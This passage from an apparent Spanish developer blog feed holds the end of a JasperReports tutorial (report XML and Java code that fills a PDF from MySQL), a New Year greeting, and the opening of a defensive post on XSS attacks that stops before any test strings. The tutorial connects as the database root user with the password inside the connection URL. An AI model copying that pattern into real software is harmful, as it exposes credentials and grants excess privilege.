&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;background<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;41&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;image<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;500&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;33&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;38&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;imageExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$P{LOGO_URL}]]&gt;</span><span class="sc3"><span class="re1">&lt;/imageExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/image<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/background<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;title<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;70&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;30&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">isBold</span>=<span class="st0">&quot;true&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$F{universidad}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;line</span> <span class="re0">direction</span>=<span class="st0">&quot;TopDown&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;49&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;530&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;line&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;graphicElement</span> <span class="re0">stretchType</span>=<span class="st0">&quot;NoStretch&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/line<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;50&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;250&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;textField&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$F{domicilio}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField</span> <span class="re0">pattern</span>=<span class="st0">&quot;EEEEE dd MMMMM yyyy&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">x</span>=<span class="st0">&quot;260&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">y</span>=<span class="st0">&quot;50&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">width</span>=<span class="st0">&quot;270&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">height</span>=<span class="st0">&quot;20&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">key</span>=<span class="st0">&quot;textField&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textElement</span> <span class="re0">textAlignment</span>=<span class="st0">&quot;Right&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;font</span> <span class="re0">pdfFontName</span>=<span class="st0">&quot;Helvetica-Bold&quot;</span> <span class="re0">size</span>=<span class="st0">&quot;10&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textElement<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span>&nbsp; &nbsp;<span class="re0">class</span>=<span class="st0">&quot;java.util.Date&quot;</span><span class="re2">&gt;</span></span><span class="sc2">&lt;![CDATA[$F{fecha}]]&gt;</span><span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/title<span class="re2">&gt;</span></span></span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;detail<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;band</span> <span class="re0">height</span>=<span class="st0">&quot;15&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;200&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{facultad}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;205&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;200&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.String&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{director}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;reportElement</span> <span class="re0">x</span>=<span class="st0">&quot;410&quot;</span> <span class="re0">y</span>=<span class="st0">&quot;0&quot;</span> <span class="re0">width</span>=<span class="st0">&quot;20&quot;</span> <span class="re0">height</span>=<span class="st0">&quot;13&quot;</span><span class="re2">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;textFieldExpression</span> <span class="re0">class</span>=<span class="st0">&quot;java.lang.Integer&quot;</span><span class="re2">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc2">&lt;![CDATA[$F{alumnos}]]&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textFieldExpression<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/textField<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/band<span class="re2">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;/detail<span class="re2">&gt;</span></span></span><br />
<br />
<span class="sc3"><span class="re1">&lt;/jasperReport<span class="re2">&gt;</span></span></span></div></div>
<p>Lo siguiente es compilar el jrxml y generar el pdf mediante java, esto es muy sencillo y se logra con muy pocas lineas de código.</p>
<div class="codecolorer-container java" style="height:390px;"><div class="codecolorer" style="font-family: monospace;"><span class="kw2">package</span> pruebas;<br />
<span class="coMULTI">/**<br />
&nbsp;* Generar un reporte con Jasper Report<br />
&nbsp;* Por Crysfel Villa Roman<br />
&nbsp;* 14/01/2008<br />
&nbsp;* <br />
&nbsp;* */</span><br />
<span class="co2">import java.sql.Connection;</span><br />
<span class="co2">import java.sql.DriverManager;</span><br />
<span class="co2">import java.util.HashMap;</span><br />
<span class="co2">import java.util.Map;</span><br />
<br />
<span class="co2">import net.sf.jasperreports.engine.JREmptyDataSource;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperCompileManager;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperExportManager;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperFillManager;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperPrint;</span><br />
<span class="co2">import net.sf.jasperreports.engine.JasperReport;</span><br />
<br />
<br />
<span class="kw2">public</span> <span class="kw2">class</span> JasperReport2<span class="br0">&#123;</span><br />
&nbsp; <span class="kw2">public</span> <span class="kw2">static</span> <span class="kw4">void</span> main<span class="br0">&#40;</span><span class="kw3">String</span><span class="br0">&#91;</span><span class="br0">&#93;</span> args<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw3">String</span> reportName = <span class="st0">&quot;plantilla&quot;</span>;<br />
&nbsp; &nbsp; JasperReport jasperReport;<br />
&nbsp; &nbsp; JasperPrint jasperPrint;<br />
&nbsp; &nbsp; <span class="kw3">Map</span> pars = <span class="kw2">new</span> <span class="kw3">HashMap</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; pars.<span class="me1">put</span><span class="br0">&#40;</span><span class="st0">&quot;LOGO_URL&quot;</span>, <span class="st0">&quot;logo.jpg&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; pars.<span class="me1">put</span><span class="br0">&#40;</span><span class="st0">&quot;P_ID_UNIVERSIDAD&quot;</span>, <span class="st0">&quot;1&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="kw2">try</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//1-Se hace la conexion a la Base de Datos</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">Class</span>.<span class="me1">forName</span><span class="br0">&#40;</span><span class="st0">&quot;com.mysql.jdbc.Driver&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">Connection</span> conn = <span class="kw3">DriverManager</span>.<span class="me1">getConnection</span> <span class="br0">&#40;</span><span class="st0">&quot;jdbc:mysql://localhost:3306/test?user=root&amp;password=la_password_del_servidor&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//2-Compilamos el archivo XML y lo cargamos en memoria</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; jasperReport = JasperCompileManager.<span class="me1">compileReport</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; reportName+<span class="st0">&quot;.jrxml&quot;</span><span class="br0">&#41;</span>;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//3-Llenamos el reporte con la información (de la DB) y parámetros necesarios para la consulta</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; jasperPrint = JasperFillManager.<span class="me1">fillReport</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jasperReport, pars, conn<span class="br0">&#41;</span>;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//4-Exportamos el reporte a pdf y lo guardamos en disco</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; JasperExportManager.<span class="me1">exportReportToPdfFile</span><span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jasperPrint, reportName+<span class="st0">&quot;.pdf&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//5-Cerrar la conexion</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; conn.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">System</span>.<span class="me1">out</span>.<span class="me1">println</span><span class="br0">&#40;</span><span class="st0">&quot;Done!&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><span class="kw2">catch</span> <span class="br0">&#40;</span><span class="kw3">Exception</span> e<span class="br0">&#41;</span><span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw3">System</span>.<span class="me1">out</span>.<span class="me1">println</span><span class="br0">&#40;</span>e<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; e.<span class="me1">printStackTrace</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div></div>
<p>Primero es necesario conectarse a la base de datos, puede ser cualquier base de datos, pero en este ejemplo es MySQL.<br />
El segundo paso es compilar el reporte.<br />
El tercer paso es llenar el reporte con la información de la base de datos y pasarle los parámetros necesarios.<br />
El cuarto paso es exportarlo al formato deseado.<br />
Por ultimo se cierra la conexión a la base de datos.</p>
<p>A diferencia de los tutoriales anteriores en este voy a poner el proyecto configurado con las librerías y códigos necesarios, para que lo instales en el eclipse y lo puedas ejecutar, esto por que en los tutoriales pasados algunas personas no pudieron completar el tutorial, el proyecto lo puedes <a href='http://www.crysfel.com/wp-content/uploads/2008/01/jasperreportdb.rar' title='jasperreportdb.rar'>descargar desde aqui</a>.</p>
<p>Saludos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/01/14/generar-reporte-desde-una-base-de-datos-en-jasperreport/</feedburner:origLink></item>
		<item>
		<title>Feliz año 2008</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/dSvaeAKx-0M/</link>
		<comments>http://www.crysfel.com/index.php/2008/01/01/feliz-ano-2008/#comments</comments>
		<pubDate>Tue, 01 Jan 2008 20:20:58 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2008/01/01/feliz-ano-2008/</guid>
		<description><![CDATA[Pues nadamas para desearles a todos un feliz año nuevo, esperando que todas sus metas y propositos sean cumplidos.
Espero sigan visitando este blog o que lo esten revisando por los feeds.
saludos a todos.
]]></description>
			<content:encoded><![CDATA[<p>Pues nadamas para desearles a todos un feliz año nuevo, esperando que todas sus metas y propositos sean cumplidos.</p>
<p>Espero sigan visitando este blog o que lo esten revisando por los feeds.</p>
<p>saludos a todos.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.crysfel.com/index.php/2008/01/01/feliz-ano-2008/feed/</wfw:commentRss>
		<feedburner:origLink>http://www.crysfel.com/index.php/2008/01/01/feliz-ano-2008/</feedburner:origLink></item>
		<item>
		<title>xss Attacks (Ataques xss)</title>
		<link>http://feedproxy.google.com/~r/crysfel/~3/gUkEX4-Ey3w/</link>
		<comments>http://www.crysfel.com/index.php/2007/12/09/xss-attacks-ataques-xss/#comments</comments>
		<pubDate>Sun, 09 Dec 2007 19:33:58 +0000</pubDate>
		<dc:creator>Crysfel</dc:creator>
		
		<category><![CDATA[Desarrollo]]></category>

		<category><![CDATA[Featured]]></category>

		<guid isPermaLink="false">http://www.crysfel.com/index.php/2007/12/09/xss-attacks-ataques-xss/</guid>
		<description><![CDATA[Desde hace un par de meses (uno o dos) me he estado introduciendo en el tema de XSS, hoy en día este tipo de ataques es el que más amenaza a los sistemas web, y es que cualquier sitio es vulnerable a sufrir un ataque XSS, desde un sencillo blog hasta los grandes sistemas como [...]]]></description>
			<content:encoded><![CDATA[<p>Desde hace un par de meses (uno o dos) me he estado introduciendo en el tema de XSS, hoy en día este tipo de ataques es el que más amenaza a los sistemas web, y es que cualquier sitio es vulnerable a sufrir un ataque XSS, desde un sencillo blog hasta los grandes sistemas como gmail, ebuy, myspace, el academico de la UM (Tiene varios), etc. En este post voy a aclarar algunas dudas que pudiesen existir, además que mostraré un ejemplo sencillo, todo esto con el afán de que los desarrolladores (programadores) se den cuenta del potencial de estos ataques y al desarrollar sus proyectos tengan en mente esto en todo momento.</p>
<p><strong>¿Qué significa XSS?</strong><br />
En ingles Cross-Site Scripting (CSS), no confundir con Cascade Sheet Style, es por esta razón que se le a puesto una X en lugar de la C.</p>
<p><strong>¿En que consiste un ataque XSS?</strong><br />
Básicamente un ataque XSS es inyectar código en la aplicación vulnerable, se puede alterar el DOM, robar cookies o inclusive ejecutar un archivo maligno.js donde las posibilidades son infinitas, pues pudieses modificar la base de datos mediante AJAX, en fin, un pequeño error puede abrir un universo de posibilidades, para mayor información al respecto te sugiero leer este articulo en la Wikipedia <a href+"http://en.wikipedia.org/wiki/Cross_site_scripting">http://en.wikipedia.org/wiki/Cross_site_scripting</a>.</p>
<p><span id="more-48"></span></p>
<p><strong>¿Qué puedo hacer como usuario para protegerme?</strong><br />
Muchas de las veces personas malintencionadas encuentran una vulnerabilidad en un sitio, y por medio de ingeniería social logran hacer que el usuario de clic sobre un link maligno, al hacer esto la victima ah sido afectada. Para protegerte lo que puedes hacer es utilizar plugins para Firefox que deshabilitan el Javascript en las páginas, permitiéndote ejecutar solo aquellas que tu autorices, puedes descargar el plugin desde aquí <a href="https://addons.mozilla.org/es-ES/firefox/addon/722">https://addons.mozilla.org/es-ES/firefox/addon/722<br />
</a></p>
<p><strong>¿Qué puedo hacer como desarrollador?</strong><br />
Como programador, tu trabajo es validar cada una de las entradas recibidas por formularios o parámetros de la url, tipos de dato, longitudes de cadenas, limpiar caracteres o tags exclusivos de html.</p>
<p><strong>¿Como identifico una vulnerabilidad?</strong><br />
Detectarlo depende de ciertos skills, entre mas experiencia tengas te será más fácil aún, para encontrarlos simplemente prueba enviar a cada parámetro enviado al servidor series de caracteres como estas:</p>
